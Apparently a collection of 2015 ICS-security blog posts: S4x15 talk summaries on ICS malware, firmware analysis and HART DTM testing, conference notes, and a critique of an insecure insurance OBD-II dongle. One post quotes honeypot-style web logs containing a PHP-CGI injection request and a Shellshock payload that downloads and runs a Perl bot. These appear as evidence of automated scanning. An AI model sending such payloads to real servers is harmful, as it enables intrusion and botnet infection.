S4x15 Video: ICS Malware with Kyle Wilhoit

Kyle Wilhoit has found and analyzed a large portion of the ICS malware found in 2014 / 2015. He goes into the details of:

– The Sandworm group looking for Internet exposed HMI and their targets

– Blacken / Black Energy targeting the GE Cimplicity HMI

– Havex scanning OPC Servers (including videos showing it being installed and exploiting the system)

– Trojanized SCADA software … WinCC (32 samples), Advantech (24), and Cimplicity

S4x15 Video: Kaspersky Control System OS

Kaspersky announced their project to develop a Control System OS back in October 2012. We tried to get them to present some details on the design criteria and goals at S4x13 and S4x14 without success. So we were very happy to have Andrey Nikishin give a session on the Kaspersky.

In this video you will see:

– the OS is for “embedded connected devices” (examples given: Smart Grid, PLC, Medical Devices, Network Appliances, Automobiles)

– the OS is not a clone of any *nix

– a broad view of the architecture including separating the microkernal from the security server. The security server determines the “security verdict” for all communication.

– the concept of a “verdict cache”

There still are many unanswered questions, and Andrey forestalled these questions by asking the questions he would not answer at the end of the session.

  • Critical Intelligence

Get The ICS Security Research Newsletter


The ICS Security Research Newsletter has been dormant for a while now, but Reid Wightman and the team at Digital Bond Labs has resurrected it. They are committed to at least a quarterly issue in 2015.

The first issue for 2015 includes:

  • Information on the IBAL extensions for IDA Pro
  • Equipment Disposal Failures
  • Latest Project Redpoint ICS Enumeration Scripts
  • Auto Hacking x 2
  • Additional items we found interesting, novel or important.

You can see issue 15-1 at this link, and subscribe to the ICS Security Research newsletter at this link.

Unsolicited Response Podcast – Interview with Kim Zetter from S4x15


We had Kim Zetter on stage for an interview at ICSage during S4x15 Week to discuss her new book: Countdown to Zero Day: Stuxnet and the Launch of the World’s First Digital Weapon. This first 2015 episode of the Unsolicited Response Podcast features that interview.

The podcast includes:

  • Who was the target audience for the book
  • Why Siemens didn’t play a bigger role in the book
  • The hard to believe Sean McGurk chapter
  • Did the US want Stuxnet to be discovered
  • How her book differed from David Sanger’s book
  • How Stuxnet infected Natanz
  • Details on Stuxnet version 0.5 that only spread through Siemens project files

The Unsolicited Response Podcast has been inactive for a while now, which is a shame because I enjoy doing it and get a lot of positive feedback. Much of the difficulty in recording the podcast has been solved now that I have a very mobile podcast rig that I can bring with while traveling.

I’m committed to a minimum of 20 podcasts in 2015, and there are a few compelling guests already lined up. We will wait until five episodes are recorded before bringing on podcast sponsors, but let us know if you are interested in sponsoring Unsolicited Response.

Subscribe to the Unsolicited Response Podcast in iTunes.

ARC Forum Event

Screen Shot 2015-02-13 at 8.09.39 AMThe ARC Advisory Group invited me to participate in one of the security panels at the annual ARC Forum this week in Orlando. It’s an event I always wanted to check out so I spoke and attended. Here are some brief thoughts from the event.

  • The best part of the event is the large number of ICS owner/operators that attend. This includes many higher level attendees, people that can drive strategy and decisions.
  • Some of the asset owner attendees presented great case studies. Nothing related to security, but as an example Pitney Bowes talked about their Big Data efforts, setbacks and successes in the last ten months.
  • The only useful case study on security I attended was from Tyler Williams of Shell. They have been working on security for years and have a program now focused on 11 controls they can measure.
  • In a continuing regrettable string of events, Gregory Touhill from DHS missed or passed on another opportunity to tell this audience their ICS are insecure and need to be upgraded or replaced. Instead he just gave pablum, cyber watch, here are DHS programs, … He’s a good speaker and could have delivered an important and powerful message, but it appears DHS is happy with the status quo as long as we share information better.
  • The vendor exhibits were quite interesting to me as I hadn’t seen some of the newer versions or offerings, such as Bedrock Automation new controller, the progress made in the GUI and capabilities in Industrial Defenders ASM, the NextNine solution that is powering the Yokogawa/Cisco/Shell support, and PAS application for change control + security.
  • What ARC calls the Industrial Internet of Things (IIoT) was part of almost every session. They are calling existing ICS and ICS functions as IIoT. It’s almost impossible to talk about security of IIoT in a productive manner when everything is IIoT, “everything will communicate with everything” is the main description, and there is no taxonomy or organized set of use cases to discuss specific security needs. I saw very little value in the discussions of securing the IIoT at the event, including my contribution in the panel.
  • The pronouncements on what the IIoT would and should allow or look like were frightening, especially during an ARC keynote on Tuesday. There was about 5 minutes when my jaw was on the floor.

I need at least five long blogs to discuss the IoT issues and what ARC calls the IIoT. I’ll develop those over the next few weeks.

Image by ARC Advisory Group

S4x15 Video – Introducing IBAL for IDA Pro

Digital Bond Labs has been using the IDA Pro API to extend it and make it even more useful for gray / black box testing. At S4x15 Reid Wightman, who heads up the Labs, introduced the first IDA Binary Analysis Library (IBAL) that are released for public consumption on our GitHub.

The goal of IBAL is to improve the state of firmware analysis.

Fuzzing will find a lot of protocol parsing vulnerabilities, but it can also miss a lot of protocol parsing vulnerabilities.

The early IBAL modules start with entry point analysis and then builds up a list of accessible instructions from that entry point. Then a researcher looks for coding mistakes in that accessible code.

Watch the video for a much better technical description of IBAL and how to use it.

S4x15 Video – Efficiently Testing Large Numbers of HART DTMs

Alexander Bolshev of Digital Security in Russia gave a great talk at S4x14 on exploiting vulnerabilities in the HART protocol and devices. His latest research is testing a large number of field devices accessible via the FDT Group’s Device Type Manager (DTM) protocol. According to the FDT Group, “DTM provides a unified structure for accessing device parameters, configuring and operating the devices, and diagnosing problems.”

There are over 2000 certified devices on the FDT Group site, and they consist of flow meters, level sensors, pressure sensors, temperatures sensors, positioners, etc.

As you might expect, Alexander found a number of vulnerabilities, and they are beginning to show up on ICS-CERT as vendors fix these problems. However, the more interesting aspect of the research is how his team efficiently tested a large number of DTM’s. Specifically 114 HART DTMs from 24 vendors that were used in 752 products. This represented a 10% sample of the HART DTMs. And the team had to do this in one month.

Watch the video to see the challenges and how they overcame them. The one that seemed quite nasty was “DeviceDTM will send the next command only when it gets the correct answer to the previous command”.

The bots will find you

I thought I would write a quick post to share some interesting web logs. I set up a very temporary server to make the CANBus Hacking class materials available for attendees.

The server was available for about a week and not connected to anything or linked from anywhere other than on email servers.

Full log is available for download (http://pastebin.com/Ngh9cwEw) but a few fun excerpts:

[Wed, 21 Jan 2015 10:58:57 GMT] "GET /muieblackcat" "undefined"

[Wed, 21 Jan 2015 14:21:11 GMT] “POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E” “Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25″

[Sun, 25 Jan 2015 23:37:46 GMT] “GET /tmUnblock.cgi” “undefined”

[Tue, 27 Jan 2015 16:09:42 GMT] “GET /” “() { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESSX”;system(“wget -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl”);'”

Make SURE that your stuff is offline and RE-CHECK periodically. The bots will find you.

Time to Get Progressive With ICS / IoT Cyber Security

Progressive DefinitionToday we posted the video of Corey Thuen’s S4x15 Technical Session on the insecure by design Progressive Snapshot dongle. Progressive responded with a statement to a Forbes reporter:

if an individual has credible evidence of a potential vulnerability related to our device, we would prefer that the person would first disclose that potential vulnerability to us so that we could evaluate it and, if necessary, correct it before the vulnerability could be exploited.

What Corey pointed out, in a manner similar to Project Basecamp did with PLC’s, is that these systems are insecure by design. The vendor, Xirgo Technologies, surely knows they didn’t include even basic security controls in their design. This is not news to them. If it was news to Progressive, then they did not perform a rudimentary security analysis before making this available to potential customers.

The best analogy I have come up with so far is storing cash, jewelry and other valuables in a vacant house. The house has no doors, no windows, no alarms, no neighbors watching, no security at all. All that is required is a thief to say I want those valuables, walk in and take them. Is it really necessary to tell the owner of those valuables that a thief can walk into that house because it lacks security? Surely he knows and accepted this.

Corey also briefly points out that a look at the code indicates that basic secure coding practices were not used in the development. It is likely rife with vulnerabilities. Even if the doors and windows with locks are put on the house, the walls are paper, 襖, relying on attackers to respect the illusion of a solid wall.

In the Forbes article Progressive also said, “The safety of our customers is paramount to us.” I’m sure this is true, and they likely have a robust security program around their e-commerce and customer web site projects. Progressive, and other vendors offering these dongles, need to be progressive and extend their security programs to these products that provide remote access to the OBD-II port on your vehicle.

This is a bigger problem than OBD-II dongles. Reid’s session from last October at S4xJapan showed Hitachi and Sanyo Denki using the CoDeSys runtime library without evaluating the security vulnerabilities and deficiencies of that code. Vendor’s buying devices, components and software need to assess the security of the product before they sell or provide it to customers.

Ironically, this was not a very good project for Digital Bond Labs. They work with vendors to find vulnerabilities so they can be fixed before product release, an external red team so to speak. The Snapshot dongle did not require finding and exploiting vulnerabilities. Security needs to be integrated into the design and then it is worthy of an internal or external red team to give it a hard shake to see if their are any latent vulnerabilities.

S4x15 Video – Remote Control Automobiles

S4 in January is a great way to start off a new year. This year I had a session entitled “Remote Control Automobiles” where I analyzed an OBD-II dongle from Progressive that is designed to track vehicle usage for insurance purposes. It’s a cellular enabled embedded device that connects directly to a vehicle’s CANBus (the vehicle control network). The video from the talk is below.

I want to acknowledge and point you to the work of Ron Ofir and and Ofer Kapora of Argus Cyber Security who are also doing research in the automotive dongle / remote space. Their results are similar. There is a lot of FUD surrounding this topic so I’ll say this: The disparate systems, communications, and vehicle software makes attacks specialized and non-trivial. It is unlikely that we will see attacks like the extreme ones often used as examples, but the concern is real because the possibility is there. These dongles are cellular enabled and directly connected to your CANBus via OBD-II; an attacker who controls the dongle can control your car.

The main point of the talk was in line with the theme of the conference: what can an attacker do to a process when in control? What now? What are the ramifications of the Internet of Things, of adding network connectivity to a bunch of Insecure by Design systems?

“A system is *good* if it does what it’s supposed to do and it’s *secure* if it doesn’t do anything else.”

– Dr. Eugene Spafford, Purdue

Vendors are solving problems and making *good* systems that aim to improve the quality of life. Vendors are not always putting in the effort to make *secure* systems. Let’s stop using microkernels that were made without anyone uttering the acronyms SDL or TDD. Let’s incorporate technologies like cryptographic authentication. Let’s see some well designed AND secure systems. The engineers of these systems have accomplished a difficult task in making systems do what they are supposed to do. We just have to, at the same time, also be creating systems that don’t do anything else.